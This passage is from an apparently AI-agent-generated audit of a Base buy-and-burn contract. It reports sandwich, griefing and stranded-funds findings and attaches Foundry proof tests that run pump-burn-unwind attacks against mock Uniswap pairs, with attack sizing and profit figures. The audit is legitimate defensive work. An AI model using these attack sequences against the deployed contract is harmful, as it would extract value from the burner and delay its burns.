      Both reproduced with a scratch test (DepthFuzz.t.sol: test_ThinPoolDustStranded, test_DepthBetweenCapAndBalance) on forge 1.8.3.

    • infoREADME understates the per-burn maximum and the worst accepted loss versus the TWAPREADME.md:29

      Two numbers in README.md do not match the code after the fixes. (a) Line 9 says a burn 'spends up to $1,000 per call', but the remainder rule at src/IMDBuyAndBurn.sol:173 spends up to MAX_PER_BURN + THRESHOLD - 1 = 1,004.999999 USDC when the pools are deep (test_DustRemainderIsSpent burns 1,004 USDC in one call).

      (b) Lines 29-30 bound the loss of a burn at 'about 3%', but the check at line 99 compares marginal prices only; the 0.3% fee of each hop and the trade's own impact (up to 0.5% of the input reserve on each hop) stack on top of the 3% tolerance, so a burn whose spot is at the edge of tolerance realizes about 3.9% less IMD than the TWAP would give at $1,000 into 165 WETH, and up to about 4.6% at the full depth bound on both hops.

      The NatSpec at lines 23-27 states this correctly; the README figure is what a reader of the trust section relies on.

      Fix: state 'up to $1,005' (or $1,000 plus a sub-$5 remainder) and 'about 3% plus fees and impact, at most about 4.6%'.

      Mock pairs 436,000 USDC / 180 WETH and 165 WETH / 66,000 IMD, contract funded with 1,000e6, warp 31 minutes, then buy IMD on pair B with 1.48% of its WETH reserve (2.442 WETH) so the marginal price is 2.9% above the TWAP: preview() gives spotOut/twapOut = 9710 bps (passes the 9700 bps check) and poolOut/twapOut = 9607 bps; buyAndBurn() burns 9607 bps of twapOut, a 3.93% loss versus the TWAP although README promises 'about 3%'. For (a): the repository's own test_DustRemainderIsSpent funds 1,004e6 and asserts the balance is 0 after one call, i.e. one call spent $1,004.

    • infoTrust assumptions verified against the live Fren Pet code; USDC pause is not listed alongside the Circle blacklistREADME.md:28

      Verification of fix (5) against Base mainnet (block 52644927): Fren Pet's blacklist is not renounced (blacklistRenounced() = false); its blacklist() guard protects only its own uniswapV2Pair() = 0x29b3a7869E3662D00aaBD89A8ee74B2F703a6a66 and the v2 router, so the pair this contract uses (0xDE66c35e01ED8e619Bf092352338ef94f2327337) can be blacklisted, as the README says; updateBuyFees() enforces <= 5 so '5% at most' is right and buyTotalFees() = 4 today; 0x...dEaD is excluded from fees and the limits branch is skipped for to == 0xdead by a hardcoded check in _transfer, so the owner cannot subject burns to maxTransactionAmount; preMigrationPhase is false and can only be cleared, never set.

      The documentation is therefore accurate and complete for the Fren Pet owner. One omission on the Circle side: FiatToken on Base is pausable and upgradeable by Circle (paused() = false today), and a pause stops transfer() in buyAndBurn() exactly like a blacklist. Add 'pause or upgrade' next to 'blacklist' on this line.

      No code change.

      cast call 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105 'uniswapV2Pair()(address)' on Base returns 0x29b3a786...6a66, not 0xDE66...7337; 'blacklistRenounced()(bool)' returns false; 'buyTotalFees()(uint256)' returns 4. cast call 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 'paused()(bool)' returns false; if Circle's pauser calls pause(), USDC.transfer at src/IMDBuyAndBurn.sol:103 reverts and buyAndBurn() is blocked for the duration, a case README.md lists only as 'blacklist'.

  5. Audit economicsAgent #1327found 1 low, 1 info

    The re-audit is complete. The findings file holds two findings, one low and one informational, and no tracked file was changed.

    What I verified as correct in the fix commit

    • Marginal price versus TWAP. The spot quote composes both hops from current reserves and the TWAP composes both pairs' cumulative prices since the last observation, with Uniswap's counterfactual accumulation and wrap-around handled in unchecked arithmetic. Token order is derived in the constructor and matches Base, where WETH is token0 of both pairs. No overflow is reachable at realistic reserves. The route price would need to exceed about 2^84 IMD per WETH before the Q112 product reverts.
    • Depth cap. Each burn spends at most 0.5% of the USDC reserve and 0.5% of the second pair's WETH reserve valued at the first pair's price. Both products stay under 2^224. With today's reserves the caps are about $2,190 and $2,018, so the $1,000 cap binds. The thin-pool proof test passes and drains the pool in $200 steps.
    • Remainder rule. It only fires when the depth cap is above MAX_PER_BURN, so it can never exceed the depth bound. On the fork a balance of 1,004.999999 USDC is spent in full and 1,005 USDC leaves exactly $5 for the next window, as designed.
    • poke() versus buyAndBurn(). Their price conditions are exact complements, so when the window is stale and USDC is waiting exactly one of them is callable. No stuck state exists except a dead pool.
    • Trust assumptions. Fren Pet's verified source confirms them: transfers to 0xdEaD skip the size limits, the dead address is fee-exempt, the owner can revoke that exemption, cap the fee at 5%, and blacklist the dead address, this contract or the WETH/FP pair (that pair is not the one the token protects). Direct transfers from this contract to 0xdEaD in burnHeld() carry no fee, so its accounting is exact. USDC can only leave to the USDC/WETH pair inside a swap, and IMD only to 0xdEaD.

    Findings

    • Low, src/IMDBuyAndBurn.sol:42. A sandwich that stays inside the 3% tolerance is profitable on the USDC/WETH pair whenever a burn exceeds 0.3% of that pair's USDC reserve, because the pump's round-trip fee is about 0.003 times the deviation times the reserve while the gain is the deviation times the burn size. DEPTH_BPS = 50 allows 0.5%. Today the attacker loses $9.87 per attempt, but the break-even is a $330k reserve, and at $200k a side the attached mock proof shows a $11.75 profit while the burn receives 298 bps less. The README's claim that moving the pools costs "far more" than the gain is therefore conditional, and the real per-burn worst case is about 4.1 to 4.6% once fees and impact are added. Suggested fix: DEPTH_BPS of 25 or a tighter deviation, plus a corrected README statement.
    • Info, src/IMDBuyAndBurn.sol:124. poke() can still push an available burn back 30 minutes. A $41 same-block pump on the USDC/WETH pair moves the spot out of tolerance, so BurnAvailable is not raised, the window restarts, and the pump is unwound. Reproduced on the fork. No funds are lost and it works at most once per 6-hour stale period, so this only contradicts the NatSpec guarantee.

    Checks run

    • Full suite on a Base fork at the public node: 16 of 16 tests pass.
    • Two scratch probes in test/scratch: the sandwich proof fails on current code as intended, and the fork probes for the poke delay and the remainder boundaries pass.
    • Slither and fuzzing were not run. Economic numbers use exact Uniswap v2 math against reserves read from Base on 2026-10-15.
    ran onclaude · claude-fable-5-1 · 35 turns · 14m 20s · 546 in · 55.5K out · 1.5M cached
    submissiond4d2e7375c36e6c05ccf0aa9101dd63f24748dbf755d19227b953d60f2242318
    deviceb0b4e7bbc84f9d804f93bf7a29b48e9211a94a863f23c5fa39d6ac041f7c5695
    started from2042849a80a37a37ac0d58292d1830a5dea9b67d
    bundlenone
    • lowSandwich inside MAX_DEVIATION_BPS turns profitable once the USDC/WETH pair thins to ~$330k: DEPTH_BPS = 50 is above the 30 bps fee break-even, so the accepted 3% per-burn loss is extractablesrc/IMDBuyAndBurn.sol:42

      The price check (line 99) lets a burn run while the route's marginal price is up to MAX_DEVIATION_BPS = 3% worse than the TWAP, and README.md:29-30 accepts that each burn "can lose at most about 3% to manipulation" on the ground that "moving these pools by 3% costs far more in fees than 3% of a burn". That claim does not hold in general.

      A searcher who pumps the USDC/WETH pair by a deviation d (buy WETH with about d/2 of the USDC reserve R; no Fren Pet fee on this leg), lets the burn spend S at the worse price and sells the WETH back pays about 0.6% * d/2 * R = 0.003dR in Uniswap fees and gains about d*S from the burn. The sandwich pays whenever S > 0.3% of R. The new size cap allows S up to DEPTH_BPS = 0.5% of R (lines 167-170) and MAX_PER_BURN = $1,000 otherwise.

      With today's reserves (USDC reserve $438,093, read on 2026-10-15) a $1,000 burn is 0.23% of R and the attacker loses $9.87 per attempt (not "far more": cost about $40 vs gain about $30); at R = $330k the attacker breaks even; at R = $300k they net $2.66 and at $200k $11.76 per burn; once depthA binds (R < $200k) S/R = 0.5% so every burn is sandwiched for about 0.00006*R.

      The burner then pays the full 3% on every burn, every window (every 30 minutes while USDC keeps arriving): a systematic loss rather than the bounded one-off the README describes. The WETH/IMD leg is protected today only by Fren Pet's 4% buy fee (owner-settable down to 0; with fee 0 at today's reserves the attacker still loses $6.91, so that leg is unprofitable until depthB binds).

      The worst case per burn is also understated: the 3% deviation adds to the fee and impact of a depth-sized trade (1.07% at $1,000, 1.55% at the $2,018 depth cap today), so about 4.1-4.6%, not 3%.

      Fix: keep S at or below the break-even, e.g. DEPTH_BPS = 25 (with MAX_DEVIATION_BPS = 300 the sandwich then always loses: gain 0.0025dR < cost 0.003dR), and/or lower MAX_DEVIATION_BPS (the TWAP equals spot to 1e-15 when the price is flat, see test_BurnsTheUsdc, so 100 bps is usable); restate the README claim with the break-even condition.

      Mock Uniswap v2 pairs with the real K and fee rules (the mocks of test/ThinPoolLock.t.sol), USDC/WETH pair with 200,000 USDC and 82.034 WETH ($2,438/ETH), WETH/IMD pair as on Base today (165.58 WETH / 66,004 IMD).

      Fund the contract with 1,000e6 USDC, warp 31 minutes.

      Attacker buys WETH with 3,070.77 USDC in the USDC/WETH pair: preview() then shows spotOut/twapOut = 9700 bps, so buyAndBurn() passes the check and the burn receives 298 bps less IMD than without the pump.

      Attacker sells the WETH back and ends with 3,082.515658 USDC: +$11.75 profit.

      Expected: a trade that stays inside the tolerance should not pay (README.md:30).

      Actual: it pays, and the burner loses 3% of every burn.

      The proof test/scratch/SandwichWithinTolerance.t.sol sizes the pump from the contract's own MAX_DEVIATION_BPS and asserts the attacker does not profit; it fails on this code (3082515658 > 3070770000) and passes once the size cap or the tolerance is tightened.

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      // Finding: a sandwich that stays inside MAX_DEVIATION_BPS on the USDC/WETH pair is profitable once that pair's USDC
      // reserve is below about $330k (today: $438k), because DEPTH_BPS = 50 lets one burn take 0.5% of the reserve while the
      // round-trip fee of a pump sized for deviation d is only 0.6% * d/2 of the reserve: the break-even is 0.3% of the
      // reserve per burn. Mock pairs with the real Uniswap v2 K and fee rules, no fork. The pump is sized from the contract's
      // own MAX_DEVIATION_BPS, so the test fails on this code and passes once the size cap or the tolerance is tightened
      // (for example DEPTH_BPS <= 25, or MAX_PER_BURN bounded by 0.25% of the USDC reserve).
      
      import {Test} from "forge-std/Test.sol";
      import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
      
      contract MockToken {
          mapping(address => uint256) public balanceOf;
          function mint(address to, uint256 a) external { balanceOf[to] += a; }
          function transfer(address to, uint256 a) external returns (bool) {
              balanceOf[msg.sender] -= a;
              balanceOf[to] += a;
              return true;
          }
      }
      
      contract MockPair {
          address public token0;
          address public token1;
          uint112 r0;
          uint112 r1;
          uint32 last;
          uint256 public price0CumulativeLast;
          uint256 public price1CumulativeLast;
      
          function init(address t0, address t1) external {
              token0 = t0;
              token1 = t1;
              _update();
          }
          function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
          function _update() internal {
              uint32 now32 = uint32(block.timestamp);
              unchecked {
                  uint32 dt = now32 - last;
                  if (dt > 0 && r0 != 0 && r1 != 0) {
                      price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                      price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                  }
              }
              r0 = uint112(MockToken(token0).balanceOf(address(this)));
              r1 = uint112(MockToken(token1).balanceOf(address(this)));
              last = now32;
          }
          function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
              (uint256 o0, uint256 o1) = (r0, r1);
              if (out0 > 0) MockToken(token0).transfer(to, out0);
              if (out1 > 0) MockToken(token1).transfer(to, out1);
              uint256 b0 = MockToken(token0).balanceOf(address(this));
              uint256 b1 = MockToken(token1).balanceOf(address(this));
              uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
              uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
              require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
              require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
              _update();
          }
      }
      
      contract SandwichWithinToleranceTest is Test {
          address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
          address constant WETH = 0x4200000000000000000000000000000000000006;
          address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
          address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // WETH/USDC
          address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD
          address constant DEAD = 0x000000000000000000000000000000000000dEaD;
      
          IMDBuyAndBurn burner;
          address attacker = makeAddr("attacker");
      
          function _out(uint256 x, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
              uint256 f = x * 997;
              return (f * rOut) / (rIn * 1000 + f);
          }
      
          function setUp() public {
              vm.warp(1_760_000_000);
              address tok = address(new MockToken());
              vm.etch(USDC, tok.code);
              vm.etch(WETH, tok.code);
              vm.etch(IMD, tok.code);
              address pair = address(new MockPair());
              vm.etch(PAIR_A, pair.code);
              vm.etch(PAIR_B, pair.code);
              // USDC/WETH pair with $200k a side at $2,438/ETH (today: $438k); WETH/IMD pair as on Base today
              MockToken(WETH).mint(PAIR_A, 82.034e18);
              MockToken(USDC).mint(PAIR_A, 200_000e6);
              MockPair(PAIR_A).init(WETH, USDC);
              MockToken(WETH).mint(PAIR_B, 165.58e18);
              MockToken(IMD).mint(PAIR_B, 66_004e18);
              MockPair(PAIR_B).init(WETH, IMD);
              burner = new IMDBuyAndBurn();
          }
      
          /// Largest USDC buy of WETH in pair A that keeps the burn inside the contract's tolerance (bisection)
          function _spotAfterPump(uint256 spend, uint256 pump) internal view returns (uint256) {
              (uint112 w0, uint112 u0,) = MockPair(PAIR_A).getReserves();
              (uint112 wb, uint112 ib,) = MockPair(PAIR_B).getReserves();
              uint256 wOut = _out(pump, u0, w0);
              return (((spend * (uint256(w0) - wOut)) / (uint256(u0) + pump)) * ib) / wb;
          }
      
          function _pumpSize(uint256 spend, uint256 twapOut) internal view returns (uint256 lo) {
              uint256 floor_ = (twapOut * (10_000 - burner.MAX_DEVIATION_BPS())) / 10_000;
              (, uint112 u0,) = MockPair(PAIR_A).getReserves();
              uint256 hi = u0;
              for (uint256 i = 0; i < 100; i++) {
                  uint256 mid = (lo + hi) / 2;
                  if (_spotAfterPump(spend, mid) >= floor_) lo = mid;
                  else hi = mid;
              }
              lo = (lo * 999) / 1000; // stay strictly inside
          }
      
          function test_SandwichInsideToleranceDoesNotPay() public {
              MockToken(USDC).mint(address(burner), 1_000e6);
              vm.warp(block.timestamp + 31 minutes);
              (uint256 spend, uint256 twapOut,, uint256 honestPoolOut,) = burner.preview();
      
              // Front-run: buy WETH with USDC so that USDC buys just under MAX_DEVIATION_BPS less WETH
              uint256 usdcIn = _pumpSize(spend, twapOut);
              MockToken(USDC).mint(attacker, usdcIn);
              (uint112 w0, uint112 u0,) = MockPair(PAIR_A).getReserves();
              uint256 wethGot = _out(usdcIn, u0, w0);
              vm.startPrank(attacker);
              MockToken(USDC).transfer(PAIR_A, usdcIn);
              MockPair(PAIR_A).swap(wethGot, 0, attacker, "");
              vm.stopPrank();
      
              (,, uint256 spotOut, uint256 poolOut,) = burner.preview();
              emit log_named_uint("spot/twap bps after the pump", (spotOut * 10_000) / twapOut);
              emit log_named_decimal_uint("attacker USDC in", usdcIn, 6);
      
              // Victim: the burn passes the price check
              uint256 burned = burner.buyAndBurn();
              assertEq(burned, poolOut);
              emit log_named_uint("burn loss vs no pump, bps", ((honestPoolOut - burned) * 10_000) / honestPoolOut);
      
              // Back-run: sell the WETH back
              (w0, u0,) = MockPair(PAIR_A).getReserves();
              uint256 usdcBack = _out(wethGot, w0, u0);
              vm.startPrank(attacker);
              MockToken(WETH).transfer(PAIR_A, wethGot);
              MockPair(PAIR_A).swap(0, usdcBack, attacker, "");
              vm.stopPrank();
      
              uint256 attackerUsdc = MockToken(USDC).balanceOf(attacker);
              emit log_named_decimal_int("attacker profit, USDC", int256(attackerUsdc) - int256(usdcIn), 6);
              assertLe(attackerUsdc, usdcIn, "a sandwich that stays inside the tolerance must not pay");
          }
      }
    • infopoke() can still delay an available burn by MIN_WINDOW: one atomic pump on the USDC/WETH pair (about $41 in fees) turns BurnAvailable off for the blocksrc/IMDBuyAndBurn.sol:124

      The fix for the earlier poke() finding makes poke() revert with BurnAvailable when balance >= THRESHOLD and the spot price is inside the tolerance (line 129), and the NatSpec and README.md:16-17 state that it therefore "cannot delay" a burn. The check reads the current reserves, which the caller controls within the block.

      When the observation is older than STALE_AFTER and a burn is available, a griefer can, in one transaction, buy WETH with about $7,000 USDC in the USDC/WETH pair (a 3.1% move, no Fren Pet fee on this pair), call poke() (spotOut is now below 97% of twapOut, so BurnAvailable is not raised and a new window starts) and sell the WETH back. The burn that was callable a moment earlier reverts with WindowTooShort for 30 minutes. Cost to the griefer: about $41 of Uniswap fees and impact.

      Impact: a 30-minute delay of one burn, at most once per 6-hour stale period, no funds lost, so informational: the guarantee in the comment is stronger than what the code enforces.

      Fix: either reword the guarantee (poke() cannot delay a burn without first moving the route out of tolerance), or make the restart independent of a same-block spot, e.g. let buyAndBurn() restart the window itself when PriceOffTwap has persisted for STALE_AFTER, so poke() is not needed while USDC is waiting.

      Base fork (BASE_RPC; state of 2026-10-15). deal 10e6 USDC to the contract; warp 6h + 1s; poke() reverts with BurnAvailable (correct).

      Then in the same block: attacker transfers 7,000e6 USDC to the USDC/WETH pair and swaps for getAmountOut of WETH; preview() shows spotOut < 97% of twapOut; poke() succeeds; attacker sells the WETH back, net cost 41.28 USDC. buyAndBurn() now reverts with WindowTooShort(0), and still with WindowTooShort(1740) 29 minutes later.

      Expected per the NatSpec: poke() cannot delay a burn that would succeed.

      Actual: delayed by MIN_WINDOW.

      See test_PokeAfterAtomicPumpDelaysTheBurn in test/scratch/ForkEdges.t.sol (fork test, so not attached as a proof).

  6. Audit judgeAgent #1235found 3 low, 3 info

    The review is complete and .imd-findings.json holds six merged findings, all reproduced against the code.

    What I verified

    • All four specialist proofs fail on the current code for the stated reasons. I ran them from test/scratch/ and kept three of them as proofs on the findings.
    • I added my own scratch test confirming the second stranded-remainder state and the "about 3%" loss figure.
    • The repository's own fork suite passes. One test failed once on a flaky RPC read and passed on rerun, so it is not a defect.
    • The Fren Pet and USDC on-chain facts the specialists cited match live Base state.

    Findings kept, duplicates merged

    • Low, poke() grief (3 specialists merged). An atomic pump of the USDC/WETH pair gets past the BurnAvailable guard, then unwinds. A valid burn is delayed 30 minutes for about 41 USDC in fees. Proof attached.
    • Low, stranded remainder (3 specialists merged). When the depth cap binds, or depth lies between the cap and the balance, a sub-threshold remainder is left and blocked by BelowThreshold. Proof attached.
    • Low, sandwich inside tolerance. Because anyone can call buyAndBurn, an attacker can pump, burn, unwind in one transaction. With DEPTH_BPS at 50 the sandwich pays once the USDC reserve is below about 330k, and the README's cost claim is false. Loses money at today's reserves. Proof attached, using a 200k reserve.
    • Info, per-burn maximum. One call can spend just under 1,005 USDC, contradicting the NatSpec and README.
    • Info, README loss figure. Fees and impact stack on the 3% tolerance, giving about 3.9% to 4.6%.
    • Info, trust assumptions. Fren Pet documentation is accurate. Circle's USDC pause and upgrade powers are missing from the README.

    Nothing new beyond these surfaced in my own pass over rounding, overflow, the depth cap, and token exit paths. No repository files were changed other than the findings file and the disposable scratch tests.

    ran onclaude · claude-fable-5-1 · 20 turns · 6m 12s · 290 in · 22.4K out · 721.5K cached
    submission10ee32194bfa185581c5b98335ff48b72c38058e210eeee053e10b13864076e3
    devicefea57d3e9d0ca7bf95542414c63109a0cdb8d9d7cb61c5d53c5c4d645d8ad1e9
    started from2042849a80a37a37ac0d58292d1830a5dea9b67d
    bundlenone
    • lowpoke() can still delay a valid burn: an atomic pump of the USDC/WETH pair passes the BurnAvailable guard, then the pump is unwound (fix 3 incomplete)src/IMDBuyAndBurn.sol:129

      Fix (3) makes poke() revert with BurnAvailable only when the price check passes at the reserves of the current call. q.spotOut is computed from the pairs' current reserves, which the caller can move earlier in the same transaction, while the TWAP and the counterfactual cumulative do not register a same-block move (both the contract's _cumulative and the pair's _update use the pre-trade reserves for the elapsed time).

      Once the last observation is older than STALE_AFTER (6 h, normal after any idle period between payouts) and the balance is at least THRESHOLD, anyone can in one transaction: buy WETH on USDC_WETH (no Fren Pet fee on this pair) so that spotOut falls below 97% of twapOut, call poke(), which now passes the guard and runs _observe(), then sell the WETH back.

      The pools end where they started, but a burn that was valid before and after the transaction now reverts WindowTooShort for MIN_WINDOW (30 min). The NatSpec (line 124) and README.md:16-17 claim poke() 'cannot delay a valid burn'; that does not hold.

      Impact is bounded: about 30 minutes of delay per 6 hours of staleness, at roughly 41 USDC of round-trip Uniswap fees at today's pair A reserves (179.7 WETH / 438,092 USDC), no funds lost. Reported independently by three specialists (audit_flow, audit_economics, audit_permissions); merged here.

      Fix: do not let poke() act on a deviation created in the current block, e.g. while balance >= THRESHOLD revert BurnAvailable if either pair's blockTimestampLast == block.timestamp (a price move then has to survive a block boundary and arbitrage first), or measure the poke deviation with a short cumulative-based recent price instead of spot reserves; alternatively reword the NatSpec and README guarantee.

      With the first fix, test_PokeRestartsTheWindowAfterAPriceMove has to advance one block between _pumpImd and poke().

      Mock Uniswap v2 pairs with the real K/fee/cumulative rules at Base reserves (pair A 179.7 WETH / 438,092 USDC, pair B 165.6 WETH / 66,004 FP), burner holds 100 USDC, warp 6h+1s. poke() reverts BurnAvailable (a burn would succeed).

      In one transaction an attacker swaps 7,000 USDC -> WETH on pair A (WETH about 3.2% dearer), calls poke() (succeeds, obsTime = now), then swaps the WETH back (net cost 41.281343 USDC); reserves are back where they were.

      Expected: buyAndBurn() succeeds as before the transaction.

      Actual: it reverts WindowTooShort(0).

      Run: forge test --match-path test/scratch/Proof_2b11c5786a99.t.sol -> FAIL: WindowTooShort(0).

      Also confirmed on a Base fork by audit_permissions (block 52644982, 15,000 USDC push, cost 86.9 USDC).

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      import {Test} from "forge-std/Test.sol";
      import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
      
      contract MockToken {
          mapping(address => uint256) public balanceOf;
          function mint(address to, uint256 a) external { balanceOf[to] += a; }
          function transfer(address to, uint256 a) external returns (bool) {
              balanceOf[msg.sender] -= a;
              balanceOf[to] += a;
              return true;
          }
      }
      
      /// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
      contract MockPair {
          address public token0;
          address public token1;
          uint112 r0;
          uint112 r1;
          uint32 last;
          uint256 public price0CumulativeLast;
          uint256 public price1CumulativeLast;
      
          function init(address t0, address t1) external {
              token0 = t0;
              token1 = t1;
              _update();
          }
          function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
          function _update() internal {
              uint32 now32 = uint32(block.timestamp);
              unchecked {
                  uint32 dt = now32 - last;
                  if (dt > 0 && r0 != 0 && r1 != 0) {
                      price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                      price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                  }
              }
              r0 = uint112(MockToken(token0).balanceOf(address(this)));
              r1 = uint112(MockToken(token1).balanceOf(address(this)));
              last = now32;
          }
          function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
              (uint256 o0, uint256 o1) = (r0, r1);
              if (out0 > 0) MockToken(token0).transfer(to, out0);
              if (out1 > 0) MockToken(token1).transfer(to, out1);
              uint256 b0 = MockToken(token0).balanceOf(address(this));
              uint256 b1 = MockToken(token1).balanceOf(address(this));
              uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
              uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
              require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
              require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
              _update();
          }
      }
      
      contract PokeGriefTest is Test {
          address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
          address constant WETH = 0x4200000000000000000000000000000000000006;
          address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
          address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH, WETH is token0
          address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD, WETH is token0
      
          IMDBuyAndBurn burner;
      
          function _deploy(uint256 wethB, uint256 imdB) internal {
              vm.warp(1_760_000_000);
              address tok = address(new MockToken());
              vm.etch(USDC, tok.code);
              vm.etch(WETH, tok.code);
              vm.etch(IMD, tok.code);
              address pair = address(new MockPair());
              vm.etch(PAIR_A, pair.code);
              vm.etch(PAIR_B, pair.code);
              // Pair A at its Base reserves (block 52644997): 179.7 WETH / 438,092 USDC
              MockToken(WETH).mint(PAIR_A, 179.7e18);
              MockToken(USDC).mint(PAIR_A, 438_092e6);
              MockPair(PAIR_A).init(WETH, USDC);
              MockToken(WETH).mint(PAIR_B, wethB);
              MockToken(IMD).mint(PAIR_B, imdB);
              MockPair(PAIR_B).init(WETH, IMD);
              burner = new IMDBuyAndBurn();
          }
      
          function _out(uint256 amountIn, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
              uint256 inWithFee = amountIn * 997;
              return (inWithFee * rOut) / (rIn * 1000 + inWithFee);
          }
      
          /// poke() delays a burn that succeeds both before and after the caller's transaction
          function test_PumpPokeUnwindDelaysAValidBurn() public {
              _deploy(165.6e18, 66_004e18); // pair B at its Base reserves
              MockToken(USDC).mint(address(burner), 100e6);
              vm.warp(block.timestamp + 6 hours + 1);
              vm.expectRevert(IMDBuyAndBurn.BurnAvailable.selector);
              burner.poke(); // a burn would succeed now
      
              // One transaction (flash-swap sized): buy WETH from pair A to make it ~3.2% dearer, poke(), sell the WETH back
              address attacker = makeAddr("attacker");
              uint256 usdcIn = 7_000e6;
              MockToken(USDC).mint(attacker, usdcIn);
              vm.startPrank(attacker);
              (uint112 w, uint112 u,) = MockPair(PAIR_A).getReserves();
              uint256 wethOut = _out(usdcIn, u, w);
              MockToken(USDC).transfer(PAIR_A, usdcIn);
              MockPair(PAIR_A).swap(wethOut, 0, attacker, "");
              (bool poked,) = address(burner).call(abi.encodeCall(IMDBuyAndBurn.poke, ()));
              (w, u,) = MockPair(PAIR_A).getReserves();
              uint256 usdcBack = _out(wethOut, w, u);
              MockToken(WETH).transfer(PAIR_A, wethOut);
              MockPair(PAIR_A).swap(0, usdcBack, attacker, "");
              vm.stopPrank();
              emit log_named_decimal_uint("attacker cost (USDC)", usdcIn - usdcBack, 6);
              emit log_named_string("poke inside the bundle", poked ? "succeeded" : "reverted");
      
              // The pools are back where they were, so the burn that was available must still run
              burner.buyAndBurn();
          }
      
      }
    • lowRemainder below THRESHOLD is stranded when the depth cap (not MAX_PER_BURN) binds, or when depth lies between MAX_PER_BURN and the balance (fix 4 incomplete)src/IMDBuyAndBurn.sol:173

      The remainder rule only fires when balance <= depth, i.e. only when MAX_PER_BURN was the binding cap. In the thin-pool case that fix (2) introduced, depth < MAX_PER_BURN: a balance of depth + r with 0 < r < THRESHOLD is cut to usdcIn = depth, the burn leaves r behind, and every later buyAndBurn() reverts BelowThreshold(r) at line 96 until new USDC arrives.

      The same happens when depth lies between MAX_PER_BURN and the balance (depth 1,003 USDC, balance 1,004 USDC): the burn spends 1,000, the rule does not fire because 1,004 > 1,003, and 4 USDC is stranded even though spending it would have stayed within the depth bound. With no further payouts up to 4.999999 USDC is locked for good (no withdraw). This is the residual of de9e10c6 finding 6 for the thin-pool path; a thin pool is exactly the case in which payouts may be sparse.

      Reported by three specialists (audit_flow, audit_math, audit_permissions); merged here. Fix that keeps the depth bound: when the cap binds and balance - usdcIn < THRESHOLD, set usdcIn = balance - THRESHOLD (if positive) so exactly THRESHOLD is left and burnable in the next window; or let a leftover of a capped burn be spent below THRESHOLD (e.g. accept balance >= THRESHOLD || balance == recorded remainder).

      Mock pairs with Base token order: USDC/WETH 436,000 USDC / 180 WETH; WETH/IMD 16.5 WETH / 6,600 IMD (test/ThinPoolLock.t.sol setUp). depthB = (16.5e18*50/10000)*436000e6/180e18 = 199,833,333 (199.83 USDC) and binds.

      Set the burner balance to depth + 4e6 = 203,833,333, warp 31 min, buyAndBurn(): spends 199,833,333 and leaves 4,000,000.

      Warp 31 min, buyAndBurn(): expected the remainder is spent (fix 4), actual revert BelowThreshold(4000000).

      Run: forge test --match-path test/scratch/Proof_79783c06d190.t.sol -> FAIL: 4000000 != 0 (Proof_7710dc53a016.t.sol shows the same with depth+3 USDC: 3000000 != 0).

      Second state (verified in test/scratch/Extra.t.sol test_DepthBetweenCapAndBalance): pair A 200,600 USDC / 100 WETH (depthA = 1,003e6), pair B 1,000 WETH / 400,000 IMD, balance 1,004e6: buyAndBurn() spends 1,000e6, leaves 4e6, next call reverts BelowThreshold(4000000).

      proof · a Foundry test the fix has to pass
      // SPDX-License-Identifier: MIT
      pragma solidity 0.8.26;
      
      // The swarm audit's proof for its medium finding (IMD job de9e10c6, finding 1), with preview() updated to the new
      // return values. It failed on commit 4e49d40: a flat but thin WETH/IMD pair made every $1,000 burn revert.
      
      import {Test} from "forge-std/Test.sol";
      import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
      
      contract MockToken {
          mapping(address => uint256) public balanceOf;
          function mint(address to, uint256 a) external { balanceOf[to] += a; }
          function transfer(address to, uint256 a) external returns (bool) {
              balanceOf[msg.sender] -= a;
              balanceOf[to] += a;
              return true;
          }
      }
      
      /// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
      contract MockPair {
          address public token0;
          address public token1;
          uint112 r0;
          uint112 r1;
          uint32 last;
          uint256 public price0CumulativeLast;
          uint256 public price1CumulativeLast;
      
          function init(address t0, address t1) external {
              token0 = t0;
              token1 = t1;
              _update();
          }
          function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
          function _update() internal {
              uint32 now32 = uint32(block.timestamp);
              unchecked {
                  uint32 dt = now32 - last;
                  if (dt > 0 && r0 != 0 && r1 != 0) {
